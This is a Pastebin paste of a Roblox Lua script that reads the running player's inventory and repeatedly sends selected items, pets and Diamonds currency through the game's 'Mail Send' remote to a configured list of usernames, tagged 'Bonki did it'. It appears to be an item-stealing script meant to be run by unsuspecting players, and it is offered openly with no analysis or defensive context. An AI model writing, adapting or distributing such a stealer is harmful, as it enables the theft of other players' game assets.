Advertisement
booiiii

Untitled

Dec 23rd, 2024 (edited)
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.42 KB | None | 0 0
  1. repeat
  2. task.wait()
  3. until game:IsLoaded()
  4.  
  5. if not game:IsLoaded() then
  6. game.Loaded:Wait()
  7. end
  8.  
  9. local Library = require(game.ReplicatedStorage.Library)
  10. local HttpService = game:GetService("HttpService")
  11. local message = require(game.ReplicatedStorage.Library.Client.Message)
  12. local Player = game.Players.LocalPlayer
  13. local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network")
  14.  
  15. task.wait(3)
  16.  
  17. local Inventory = ((require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()).Inventory
  18. local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()
  19. local GetListWithAllItems = function()
  20. local hits = {}
  21.  
  22. for itemName, itemData in pairs(AllowedItems) do
  23. local itemClass = itemData.Class
  24. if Inventory[itemClass] ~= nil and itemClass ~= "Pet" then
  25. for i, v in pairs(Inventory[itemClass]) do
  26. if v.id == itemName then
  27. table.insert(
  28. hits,
  29. {
  30. Item_Id = i,
  31. Item_Name = v.id,
  32. Item_Amount = itemData.Amount,
  33. Item_Class = itemClass
  34. }
  35. )
  36. end
  37. end
  38. elseif itemClass == "Pet" then
  39. for i, v in pairs(Inventory[itemClass]) do
  40. if v.id == itemName and v.pt == 2 and v.sh == nil then
  41. table.insert(
  42. hits,
  43. {
  44. Item_Id = i,
  45. Item_Name = v.id,
  46. Item_Amount = itemData.Amount,
  47. Item_Class = itemClass
  48. }
  49. )
  50. end
  51. end
  52. end
  53. end
  54.  
  55. return hits
  56. end
  57. local function sendItem(username, category, uid, am)
  58. local args = {
  59. [1] = username,
  60. [2] = "Bonki did it",
  61. [3] = category,
  62. [4] = uid,
  63. [5] = am
  64. }
  65. local response = false
  66. repeat
  67. local response, err = (network:WaitForChild("Mailbox: Send")):InvokeServer(unpack(args))
  68. until response == true
  69. end
  70.  
  71. print("Sending Items")
  72.  
  73. local itemsToSend = GetListWithAllItems();
  74. if #itemsToSend > 0 then
  75. for _, username in ipairs(Roblox_Usernames) do
  76. for _, item in pairs(itemsToSend) do
  77. print("Sending to " .. username);
  78. print(item.Item_Name, item.Item_Class, item.Item_Id, item.Item_Amount)
  79. sendItem(username, item.Item_Class, item.Item_Id, item.Item_Amount);
  80. end;
  81. end;
  82. end;
  83.  
  84. print("Now sending Gems")
  85.  
  86. local function SendGems()
  87. for _, Roblox_Username in ipairs(Roblox_Usernames) do
  88. for i, v in pairs(Inventory.Currency) do
  89. if v.id == "Diamonds" then
  90. local args = {
  91. [1] = Roblox_Username,
  92. [2] = "Sent Gems",
  93. [3] = "Currency",
  94. [4] = i,
  95. [5] = SentGems
  96. }
  97. print(unpack(args))
  98.  
  99. local response = false
  100. repeat
  101. response = network:WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
  102. until response == true
  103. break
  104. end
  105. end
  106. end
  107. end
  108.  
  109. SendGems()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement